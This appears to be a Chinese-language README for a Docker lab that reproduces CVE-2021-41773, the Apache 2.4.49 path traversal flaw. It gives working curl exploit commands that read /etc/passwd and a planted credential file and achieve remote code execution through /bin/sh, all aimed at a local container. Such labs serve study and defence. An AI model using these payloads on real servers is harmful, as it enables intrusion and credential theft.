CVE-2021-41773 是 2021 年 10 月在 Apache HTTP Server 2.4.49 中发现的一个路径遍历漏洞。根本原因是未能正确规范化 URL 中以点序列结尾的路径,导致在检查请求路径是否仍在 Web 根目录之前出现问题。该漏洞允许攻击者逃逸 Web 根目录,访问服务器文件系统上的任意文件,在某些情况下可升级为远程代码执行。
本探索演示了 2 种攻击向量:
Docker
curl
Linux 或 macOS
Dockerfile - 构建存在漏洞的 Apache 2.4.49 容器
exploit.sh - 自动化利用链脚本
README.md
Dockerfile 概述:
注意:确保 Docker 已安装并运行
选项 1:自动脚本
chmod +x exploit.sh
./exploit.sh
选项 2:手动执行
构建镜像并运行容器:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
用于手动实验的个别 curl 命令:
阶段 1 — 读取预设的秘密(纯遍历,无 CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
阶段 2 — 读取 /etc/passwd(纯遍历,无 CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
阶段 3 — RCE:执行命令(需要 mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
阶段 4 — 完整链:通过 RCE 读取秘密
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"